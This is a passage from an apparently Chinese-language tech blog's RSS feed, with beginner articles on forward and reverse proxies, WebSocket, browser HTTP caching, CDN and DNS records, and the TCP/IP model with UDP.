&lt;li&gt;客户端是否要做设置 下面用一张图来表示两者的差异： &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-01.png"&gt; &lt;em&gt;正向代理与反向代理&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;正向代理中，proxy和client同属一个LAN，对server透明； 反向代理中，proxy和server同属一个LAN，对client透明。 实际上proxy在两种代理中做的事都是代为收发请求和响应，不过从结构上来看正好左右互换了下，所以把前者那种代理方式叫做正向代理，后者叫做反向代理。&lt;/p&gt;
&lt;p&gt;从用途上来区分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正向代理：正向代理用途是为了在防火墙内的局域网提供访问internet的途径。另外还可以使用缓冲特性减少网络使用率&lt;/li&gt;
&lt;li&gt;反向代理：反向代理的用途是将防火墙后面的服务器提供给internet用户访问。同时还可以完成诸如负载均衡等功能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从安全性来讲：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正向代理：正向代理允许客户端通过它访问任意网站并且隐蔽客户端自身，因此你必须采取安全措施来确保仅为经过授权的客户端提供服务&lt;/li&gt;
&lt;li&gt;反向代理：对外是透明的，访问者并不知道自己访问的是代理。对访问者而言，他以为访问的就是原始服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-使用场景"&gt;3. 使用场景&lt;/h3&gt;
&lt;p&gt;正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性减少网络使用率。反向代理的典型用途是将 防火墙后面的服务器提供给Internet用户访问。反向代理还可以为后端的多台服务器提供负载平衡，或为后端较慢的服务器提供缓冲服务。&lt;/p&gt;
&lt;h5 id="31-正向代理"&gt;3.1 正向代理&lt;/h5&gt;
&lt;p&gt;从上面的介绍也就可以猜出来正向代理的至少一个功能（俗称翻墙），也即：&lt;/p&gt;
&lt;p&gt;用户A无法访问facebook，但是能访问服务器B，而服务器B可以访问facebook。于是用户A访问服务器B，通过服务器B去访问facebook，，服务器B收到请求后，去访问facebook，facebook把响应信息返回给服务器B，服务器B再把响应信息返回给A。这样，通过代理服务器B，就实现了翻墙。&lt;/p&gt;
&lt;h5 id="32-反向代理"&gt;3.2 反向代理&lt;/h5&gt;
&lt;p&gt;从上面的介绍也可以猜出来反向代理的至少一个功能（比如负载均衡），也即：&lt;/p&gt;
&lt;p&gt;假设用户A访问 **&lt;a href="http://www.somesite.com/something.html**%EF%BC%8C%E4%BD%86"&gt;www.somesite.com/something.html**，但&lt;/a&gt; &lt;a href="http://www.somesite.com/"&gt;www.somesite.com&lt;/a&gt; 上并不存在something.html页面，于是接收用户请求的该服务器就偷偷从另外一台服务器上取回来，然后返回给用户，而用户并不知道something.html页面究竟位于哪台机器上。&lt;/p&gt;
&lt;p&gt;反向代理的作用就比较多了，这里简单列举一下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保护和隐藏原始资源服务器&lt;/li&gt;
&lt;li&gt;加密和SSL加速&lt;/li&gt;
&lt;li&gt;负载均衡&lt;/li&gt;
&lt;li&gt;缓存静态内容&lt;/li&gt;
&lt;li&gt;压缩&lt;/li&gt;
&lt;li&gt;减速上传&lt;/li&gt;
&lt;li&gt;安全&lt;/li&gt;
&lt;li&gt;外网发布&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面做两个简单介绍&lt;/p&gt;
&lt;h4 id="保护和隐藏原始资源服务器"&gt;保护和隐藏原始资源服务器&lt;/h4&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-02.png"&gt; &lt;em&gt;代理作用&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;用户A始终认为它访问的是原始服务器B而不是代理服务器Z，但实用际上反向代理服务器接受用户A的应答，从原始资源服务器B中取得用户A的需求资源，然后发送给用户A。由于防火墙的作用，只允许代理服务器Z访问原始资源服务器B。尽管在这个虚拟的环境下，防火墙和反向代理的共同作用保护了原始资源服务器B，但用户A并不知情。&lt;/p&gt;
&lt;h4 id="负载均衡"&gt;负载均衡&lt;/h4&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-03.png"&gt; &lt;em&gt;负载均衡&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;当反向代理服务器不止一个的时候，我们甚至可以把它们做成集群，当更多的用户访问资源服务器B的时候，让不同的代理服务器Z（x）去应答不同的用户，然后发送不同用户需要的资源。&lt;/p&gt;
&lt;h5 id="33-透明代理"&gt;3.3 透明代理&lt;/h5&gt;
&lt;p&gt;透明代理比较类似正向代理的功能，差别在于客户端根本不知道代理的存在，它改编你的request，并会传送真实IP（使用场景就是公司限制网络的访问）。&lt;/p&gt;
&lt;p&gt;比如为了工作效率或者安全，A公司屏蔽了QQ软件的使用。A公司的员工接上了网络，但发现无法使用qq。这就是透明代理捣的鬼。公司在内网和外网的中间插入一个透明代理，这个代理会根据规则抓取请求内容，遇到qq的请求我就把这个请求给屏蔽掉，这样就完成了透明屏蔽。当然了，如果你明白原理，就可以自己搞个正向代理来绕过公司的屏蔽。&lt;/p&gt;
&lt;p&gt;Nginx作为时下最流行的HTTP服务器之一，同时它是一个反向代理服务器，提到反向代理服务器，有同学可能觉得这个概念很模糊，如果说到代理，他可能明白，但是再引出一个正向代理，估计懵了，笔者将尝试用浅显易懂的比方把这两个概念解释清楚。&lt;/p&gt;
&lt;h2 id="正向代理"&gt;正向代理&lt;/h2&gt;
&lt;p&gt;A同学在大众创业、万众创新的大时代背景下开启他的创业之路，目前他遇到的最大的一个问题就是启动资金，于是他决定去找马云爸爸借钱，可想而知，最后碰一鼻子灰回来了，情急之下，他想到一个办法，找关系开后门，经过一番消息打探，原来A同学的大学老师王老师是马云的同学，于是A同学找到王老师，托王老师帮忙去马云那借500万过来，当然最后事成了。不过马云并不知道这钱是A同学借的，马云是借给王老师的，最后由王老师转交给A同学。这里的王老师在这个过程中扮演了一个非常关键的角色，就是代理，也可以说是正向代理，王老师代替A同学办这件事，这个过程中，真正借钱的人是谁，马云是不知道的，这点非常关键。&lt;/p&gt;
&lt;p&gt;我们常说的代理也就是只正向代理，正向代理的过程，它隐藏了真实的请求客户端，服务端不知道真实的客户端是谁，客户端请求的服务都被代理服务器代替来请求，知名的科学上网工具shadowsocks 扮演的就是典型的正向代理角色。在天朝用浏览器访问 &lt;a href="https://link.jianshu.com/?t=http://www.google.com"&gt;www.google.com&lt;/a&gt; 时，被残忍的拒绝了，于是你可以在国外搭建一台代理服务器，让代理帮我去请求&lt;a href="https://link.jianshu.com/?t=http://google.com"&gt;google.com&lt;/a&gt;，代理把请求返回的相应结构再返回给我。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-04.png"&gt; _&lt;/p&gt;
&lt;h2 id="反向代理"&gt;反向代理&lt;/h2&gt;
&lt;p&gt;大家都有过这样的经历，拨打10086客服电话，可能一个地区的10086客服有几个或者几十个，你永远都不需要关心在电话那头的是哪一个，叫什么，男的，还是女的，漂亮的还是帅气的，你都不关心，你关心的是你的问题能不能得到专业的解答，你只需要拨通了10086的总机号码，电话那头总会有人会回答你，只是有时慢有时快而已。那么这里的10086总机号码就是我们说的反向代理。客户不知道真正提供服务人的是谁。&lt;/p&gt;
&lt;p&gt;反向代理隐藏了真实的服务端，当我们请求 &lt;a href="http://www.baidu.com/"&gt;www.baidu.com&lt;/a&gt; 的时候，就像拨打10086一样，背后可能有成千上万台服务器为我们服务，但具体是哪一台，你不知道，也不需要知道，你只需要知道反向代理服务器是谁就好了，&lt;code&gt;www.baidu.com&lt;/code&gt; 就是我们的反向代理服务器，反向代理服务器会帮我们把请求转发到真实的服务器那里去。Nginx就是性能非常好的反向代理服务器，用来做负载均衡。&lt;/p&gt;</description></item><item><title>WebSocket相关</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/</guid><description>&lt;h2 id="一前言"&gt;一、前言&lt;/h2&gt;
&lt;p&gt;因为项目中使用到了 WebSocket ，面试官在深挖项目经验的时候，也难免提到 WebSocket 相关的知识点，通过这篇文章再做一下总结。&lt;/p&gt;
&lt;h2 id="二什么是websocket"&gt;二、什么是WebSocket&lt;/h2&gt;
&lt;p&gt;WebSocket 是一种在单个TCP连接上进行全双工通信的协议。WebSocket 使得客户端和服务器之间的数据交换变得更加简单，允许服务端主动向客户端推送数据。&lt;/p&gt;
&lt;p&gt;在 WebSocket API 中，浏览器和服务器只需要完成一次握手，两者之间就直接可以创建持久性的连接， 并进行双向数据传输。&lt;/p&gt;
&lt;p&gt;WebSocket本质上一种&lt;code&gt;计算机网络应用层的协议&lt;/code&gt;，用来弥补http协议在持久通信能力上的不足。&lt;/p&gt;
&lt;p&gt;WebSocket 协议在2008年诞生，2011年成为国际标准。现在最新版本浏览器都已经支持了。&lt;/p&gt;
&lt;p&gt;它的最大特点就是，服务器可以主动向客户端推送信息，客户端也可以主动向服务器发送信息，是真正的双向平等对话，属于&lt;a href="https://en.wikipedia.org/wiki/Push_technology"&gt;服务器推送技术&lt;/a&gt;的一种。&lt;/p&gt;
&lt;p&gt;WebSocket 的其他特点包括：&lt;/p&gt;
&lt;p&gt;（1）建立在 TCP 协议之上，服务器端的实现比较容易。&lt;/p&gt;
&lt;p&gt;（2）与 HTTP 协议有着良好的兼容性。默认端口也是80和443，并且握手阶段采用 HTTP 协议，因此握手时不容易屏蔽，能通过各种 HTTP 代理服务器。&lt;/p&gt;
&lt;p&gt;（3）数据格式比较轻量，性能开销小，通信高效。&lt;/p&gt;
&lt;p&gt;（4）可以发送文本，也可以发送二进制数据。&lt;/p&gt;
&lt;p&gt;（5）没有同源限制，客户端可以与任意服务器通信。&lt;/p&gt;
&lt;p&gt;（6）协议标识符是&lt;code&gt;ws&lt;/code&gt;（如果加密，则为&lt;code&gt;wss&lt;/code&gt;），服务器网址就是 URL。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ws://example.com:80/some/path
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="为什么需要-websocket"&gt;为什么需要 WebSocket？&lt;/h3&gt;
&lt;p&gt;我们已经有了 HTTP 协议，为什么还需要另一个协议？它能带来什么好处？&lt;/p&gt;
&lt;p&gt;因为 HTTP 协议有一个缺陷：通信只能由客户端发起，不具备服务器推送能力。&lt;/p&gt;
&lt;p&gt;举例来说，我们想了解查询今天的实时数据，只能是客户端向服务器发出请求，服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;这种单向请求的特点，注定了如果服务器有连续的状态变化，客户端要获知就非常麻烦。我们只能使用&lt;a href="https://www.pubnub.com/blog/2014-12-01-http-long-polling/"&gt;&amp;ldquo;轮询&amp;rdquo;&lt;/a&gt;：每隔一段时候，就发出一个询问，了解服务器有没有新的信息。最典型的场景就是聊天室。轮询的效率低，非常浪费资源（因为必须不停连接，或者 HTTP 连接始终打开）。&lt;/p&gt;
&lt;p&gt;在 WebSocket 协议出现以前，创建一个和服务端进双通道通信的 web 应用，需要依赖HTTP协议，进行不停的轮询，这会导致一些问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务端被迫维持来自每个客户端的大量不同的连接&lt;/li&gt;
&lt;li&gt;大量的轮询请求会造成高开销，比如会带上多余的header，造成了无用的数据传输。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;http协议本身是没有持久通信能力的，但是我们在实际的应用中，是很需要这种能力的，所以，为了解决这些问题，WebSocket协议由此而生，于2011年被IETF定为标准RFC6455，并被RFC7936所补充规范。&lt;/p&gt;
&lt;p&gt;并且在HTML5标准中增加了有关WebSocket协议的相关api，所以只要实现了HTML5标准的客户端，就可以与支持WebSocket协议的服务器进行全双工的持久通信了。&lt;/p&gt;
&lt;h3 id="websocket-与-http-的区别"&gt;WebSocket 与 HTTP 的区别&lt;/h3&gt;
&lt;p&gt;WebSocket 与 HTTP的关系图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;相同点：&lt;/strong&gt; 都是一样基于TCP的，都是可靠性传输协议。都是应用层协议。&lt;/p&gt;</description></item><item><title>浏览器的缓存机制解析</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/</guid><description>&lt;h4 id="概述"&gt;概述&lt;/h4&gt;
&lt;p&gt;浏览器的缓存机制也就是我们说的HTTP缓存机制，其机制是根据HTTP报文的缓存标识进行的，所以在分析浏览器缓存机制之前，我们先使用图文简单介绍一下HTTP报文，HTTP报文分为两种：&lt;/p&gt;
&lt;p&gt;HTTP请求(Request)报文，报文格式为：请求行 – HTTP头(通用信息头，请求头，实体头) – 请求报文主体(只有POST才有报文主体)，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;HTTP响应(Response)报文，报文格式为：状态行 – HTTP头(通用信息头，响应头，实体头) – 响应报文主体，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;注：通用信息头指的是请求和响应报文都支持的头域，分别为Cache-Control、Connection、Date、Pragma、Transfer-Encoding、Upgrade、Via；实体头则是实体信息的实体头域，分别为Allow、Content-Base、Content-Encoding、Content-Language、Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、Etag、Expires、Last-Modified、extension-header。这里只是为了方便理解，将通用信息头，响应头/请求头，实体头都归为了HTTP头。&lt;/p&gt;
&lt;p&gt;以上的概念在这里我们不做多讲解，只简单介绍，有兴趣的童鞋可以自行研究。&lt;/p&gt;
&lt;h4 id="缓存过程分析"&gt;缓存过程分析&lt;/h4&gt;
&lt;p&gt;浏览器与服务器通信的方式为应答模式，即是：浏览器发起HTTP请求 – 服务器响应该请求。那么浏览器第一次向服务器发起该请求后拿到请求结果，会根据响应报文中HTTP头的缓存标识，决定是否缓存结果，是则将请求结果和缓存标识存入浏览器缓存中，简单的过程如下图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;由上图我们可以知道：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器每次发起请求，都会先在浏览器缓存中查找该请求的结果以及缓存标识&lt;/li&gt;
&lt;li&gt;浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上两点结论就是浏览器缓存机制的关键，他确保了每个请求的缓存存入与读取，只要我们再理解浏览器缓存的使用规则，那么所有的问题就迎刃而解了，本文也将围绕着这点进行详细分析。为了方便大家理解，这里我们根据是否需要向服务器重新发起HTTP请求将缓存过程分为两个部分，分别是强制缓存和协商缓存。&lt;/p&gt;
&lt;h5 id="强制缓存"&gt;强制缓存&lt;/h5&gt;
&lt;p&gt;强制缓存就是向浏览器缓存查找该请求结果，并根据该结果的缓存规则来决定是否使用该缓存结果的过程，强制缓存的情况主要有三种(暂不分析协商缓存过程)，如下：&lt;/p&gt;
&lt;p&gt;不存在该缓存结果和缓存标识，强制缓存失效，则直接向服务器发起请求（跟第一次发起请求一致），如下图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-06.webp"&gt;&lt;/p&gt;
&lt;p&gt;存在该缓存结果和缓存标识，但该结果已失效，强制缓存失效，则使用协商缓存(暂不分析)，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-07.webp"&gt;&lt;/p&gt;
&lt;p&gt;存在该缓存结果和缓存标识，且该结果尚未失效，强制缓存生效，直接返回该结果，如下图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-08.webp"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那么强制缓存的缓存规则是什么？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当浏览器向服务器发起请求时，服务器会将缓存规则放入HTTP响应报文的HTTP头中和请求结果一起返回给浏览器，控制强制缓存的字段分别是Expires和Cache-Control，其中Cache-Control优先级比Expires高。&lt;/p&gt;
&lt;h5 id="expires"&gt;Expires&lt;/h5&gt;
&lt;p&gt;Expires是HTTP/1.0控制网页缓存的字段，其值为服务器返回该请求结果缓存的到期时间，即再次发起该请求时，如果客户端的时间小于Expires的值时，直接使用缓存结果。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Expires是HTTP/1.0的字段，但是现在浏览器默认使用的是HTTP/1.1，那么在HTTP/1.1中网页缓存还是否由Expires控制？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;到了HTTP/1.1，Expire已经被Cache-Control替代，原因在于Expires控制缓存的原理是使用客户端的时间与服务端返回的时间做对比，那么如果客户端与服务端的时间因为某些原因（例如时区不同；客户端和服务端有一方的时间不准确）发生误差，那么强制缓存则会直接失效，这样的话强制缓存的存在则毫无意义，那么Cache-Control又是如何控制的呢？&lt;/p&gt;
&lt;h5 id="cache-control"&gt;Cache-Control&lt;/h5&gt;
&lt;p&gt;在HTTP/1.1中，Cache-Control是最重要的规则，主要用于控制网页缓存，主要取值为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;public：所有内容都将被缓存（客户端和代理服务器都可缓存）&lt;/li&gt;
&lt;li&gt;private：所有内容只有客户端可以缓存，Cache-Control的默认取值&lt;/li&gt;
&lt;li&gt;no-cache：客户端缓存内容，但是是否使用缓存则需要经过协商缓存来验证决定&lt;/li&gt;
&lt;li&gt;no-store：所有内容都不会被缓存，即不使用强制缓存，也不使用协商缓存&lt;/li&gt;
&lt;li&gt;max-age=xxx (xxx is numeric)：缓存内容将在xxx秒后失效&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来，我们直接看一个例子，如下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-09.webp"&gt;&lt;/p&gt;
&lt;p&gt;由上面的例子我们可以知道：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP响应报文中expires的时间值，是一个绝对值&lt;/li&gt;
&lt;li&gt;HTTP响应报文中Cache-Control为max-age=600，是相对值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于Cache-Control的优先级比expires，那么直接根据Cache-Control的值进行缓存，意思就是说在600秒内再次发起该请求，则会直接使用缓存结果，强制缓存生效。&lt;/p&gt;
&lt;p&gt;注：在无法确定客户端的时间是否与服务端的时间同步的情况下，Cache-Control相比于expires是更好的选择，所以同时存在时，只有Cache-Control生效。&lt;/p&gt;
&lt;p&gt;了解强制缓存的过程后，我们拓展性的思考一下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;浏览器的缓存存放在哪里，如何在浏览器中判断强制缓存是否生效？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-10.webp"&gt;&lt;/p&gt;
&lt;p&gt;这里我们以博客的请求为例，状态码为灰色的请求则代表使用了强制缓存，请求对应的Size值则代表该缓存存放的位置，分别为from memory cache 和 from disk cache。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那么from memory cache 和 from disk cache又分别代表的是什么呢？什么时候会使用from disk cache，什么时候会使用from memory cache呢？&lt;/p&gt;</description></item><item><title>CDN原理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-012/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-012/</guid><description>&lt;h3 id="cdn"&gt;CDN&lt;/h3&gt;
&lt;p&gt;CDN 即内容分发网络（Content Delivery Network）的简称，是建立在承载网基础上的虚拟分布式网络，能够将源站内容（包括各类动静态资源）智能缓存到全球各节点服务器上。这样不仅方便了用户就近获取内容，提高了资源的访问速度，也分担了源站压力。&lt;/p&gt;
&lt;h3 id="cnamea-记录ns-记录"&gt;CNAME、A 记录、NS 记录&lt;/h3&gt;
&lt;p&gt;DNS ( Domain Name System，域名系统)提供了将域名转换为 IP 地址的服务。为了完成这个转化工作，DNS 的数据库中需要维护相关的数据，这些数据被叫做 RR（Resource Record，资源记录）。资源记录有很多种类型，比如 A、NS、SOA、CNAME 和 PTR 记录。&lt;/p&gt;
&lt;p&gt;大家接触最多的就是 A（Address）记录。A 记录是一条从域名到 IP 地址的映射记录。而 CNAME（Canonical Name）记录是一条从域名到域名的映射记录。它在 CDN 技术中有举足轻重的作用，很好地实现了业务域名与 CDN 系统域名的解耦。简单理解，如果一个域名配置了 A 记录，DNS 就会把它解析成 A 记录指定的 IP 地址；如果一个域名配置了 CNAME 记录，DNS 就会把它解析成 CNAME 记录指定的另外一个域名；A 记录和 CNAME 记录是互斥的，不能同时存在。&lt;/p&gt;
&lt;p&gt;NS （Name Server）记录是和 DNS 服务器相关的一条记录，它指定该域名应该由哪一台 DNS 服务器进行解析。一般把通过 NS 记录指定的 DNS 服务器叫做该域名的权威 DNS 服务器。&lt;/p&gt;
&lt;h3 id="加速域名"&gt;加速域名&lt;/h3&gt;
&lt;p&gt;加速域名指需要使用 CDN 加速的域名。加速域名也是一个域名。加速域名一般配置 CNAME 记录，指向 CDN 网络节点。普通域名一般配置 A 记录，指向提供服务的业务服务器。&lt;/p&gt;</description></item><item><title>TCP和UDP</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/tcp-udp/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/tcp-udp/</guid><description>&lt;h2 id="tcpip-五层模型"&gt;TCP/IP 五层模型&lt;/h2&gt;
&lt;p&gt;先看图，为网络模型分层，以及一个完整http请求在五层模型中的完整工作流程&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/tcp-udp/image-01.webp"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;应用层&lt;/code&gt;：最高层，提供特定于应用程序的协议，运行在该层的协议有HTTP、FTP、SSH、WebScoket等&lt;/li&gt;
&lt;li&gt;&lt;code&gt;传输层&lt;/code&gt;：为两个主机进程通信提供通用的数据传输协议，如TCP、UDP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;网络层&lt;/code&gt;：负责寻址和路由功能，将数据包发送到特定的计算机，主要协议是IP协议，路由器就是在这一层&lt;/li&gt;
&lt;li&gt;&lt;code&gt;链路层&lt;/code&gt;：负责将二进制数据包和网络信号相互转换，交换机、网卡就是在这一层&lt;/li&gt;
&lt;li&gt;&lt;code&gt;物理层&lt;/code&gt;：主要有接收器、发送器、中继器、光纤电缆等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;网络协议通过分层来明确每一层的工作职责，通过定义明确的接口来协同工作，第一层都可以使用下面各层的功能，而不用担心各层是怎么实现的。就好像我们开发封装组件一样，每一个组件各自负责各自的事，互不干扰，也提高了复用度，如上图文件基本传输过程，也就是&lt;code&gt;http分层工作流程&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主机A发起请求，数据发送前会被分为许多片段，称为数据包，然后使用http协议将数据包封装，并加上&lt;code&gt;请求头&lt;/code&gt;，传给下一层&lt;/li&gt;
&lt;li&gt;传输层拿到数据，为每个数据包分配一个端口号，用来确定目标计算机的哪一个应用程序，然后使用TCP协议进行处理，加上&lt;code&gt;TCP头&lt;/code&gt;或&lt;code&gt;UDP头&lt;/code&gt;，通过TCP协议传给下一层&lt;/li&gt;
&lt;li&gt;网络层拿到数据后为每个数据包添加目标计算机的IP地址，并决定传给什么路由或接收的主机，再封装传给下一层&lt;/li&gt;
&lt;li&gt;链路层将数据转译成电子信号，进一步封装成&lt;code&gt;数据帧&lt;/code&gt;，传给物理层&lt;/li&gt;
&lt;li&gt;物理层通过电缆传送给主机B这边的链路层&lt;/li&gt;
&lt;li&gt;主机B的链路层拿到数据后，检查每个包中的目标地址并确定将其发送到哪里，如果不是发给自己的就丢弃，然后根据数据确定协议类型，再传给网络层的IP协议模块&lt;/li&gt;
&lt;li&gt;网络层接收到后拆开获取&lt;code&gt;IP头&lt;/code&gt;，判断首部接收的IP地址匹配，然后根据&lt;code&gt;头部协议类型&lt;/code&gt;，转发TCP或UDP等&lt;/li&gt;
&lt;li&gt;传输层TCP收到后会&lt;code&gt;计算校验&lt;/code&gt;，判断数据的&lt;code&gt;完整性&lt;/code&gt;，然后处理数据包顺序接收的逻辑，最后根据&lt;code&gt;端口&lt;/code&gt;确定要转发给应用层的哪个程序&lt;/li&gt;
&lt;li&gt;最终应用层接到数据之后，根据http协议&lt;code&gt;解析&lt;/code&gt;数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里只展开一下网络层的 IP 和传输层的 TCP 、UDP&lt;/p&gt;
&lt;h2 id="ip"&gt;IP&lt;/h2&gt;
&lt;p&gt;如果是在&lt;code&gt;局域网&lt;/code&gt;内都是用&lt;code&gt;MAC地址通信&lt;/code&gt;，局域网之外，就得用IP了。MAC就像是身份证，IP就像是住址。所有TCP、UDP、ICMP等数据都是以IP数据报格式进行传输&lt;/p&gt;
&lt;p&gt;IP协议本身不支持发往目的地址失败的IP数据包，也没有提供直接的方式获取诊断信息，比如发送途中经过哪些路由器，以及往返时间，而这就由&lt;code&gt;ICMP协议&lt;/code&gt;来专门负责&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ICMP并不为IP网络提供可靠性，只用于反馈各种故障和配置信息，丢包不会触发ICMP&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们常用的ping就是用ICMP查询报文。不过ping使用ICMP协议会直接跳过了传输层，所以ping程序是没有端口号的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;IP协议的特点是：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IP协议是不可靠的传输协议&lt;/code&gt;。如果 ICMP协议出现传输异常，IP都会丢弃数据包并可能会响应一个ICMP差错消息给发送端，而&lt;strong&gt;任何要求可靠性必须由上层如TCP协议来提供&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IP协议是无连接的&lt;/code&gt;。就是不维护任何关于后续数据的状态信息，每个数据独立。表现在：可以不按发送顺序接收，不用维护连接状态，免去了维护复制的链路状态信息(TCP会讲到)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="udp"&gt;UDP&lt;/h2&gt;
&lt;h3 id="udp的特点"&gt;UDP的特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;无连接&lt;/code&gt;不需要握手和挥手就可以直接发送数据。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不可靠性&lt;/code&gt;：就是一个传递数据的搬运工，来一个包就发一个。不会备份，也不关心对方是否正确收到，传输顺序也无法保证。所以就只能由应用层来保证可靠，因为网络层也是不可靠的&lt;br&gt;&lt;/li&gt;
&lt;li&gt;在发送端应用层将数据传给传输层的UDP，它只&lt;strong&gt;加一个UDP头标识&lt;/strong&gt;(UDP协议)，就直接发给网络层了。&lt;/li&gt;
&lt;li&gt;接收端在网络层将数据发给传输层，传输层UDP&lt;strong&gt;只去掉IP报文头&lt;/strong&gt;就传给应用层了。&lt;/li&gt;
&lt;li&gt;其他什么都不会管，不过这也&lt;code&gt;减少开销和发送数据之前的延迟&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;支持广播&lt;/code&gt;：有单播，多播，广播的功能，不只支持一对一传输方式，还支持一对多，多对多的方式&lt;/li&gt;
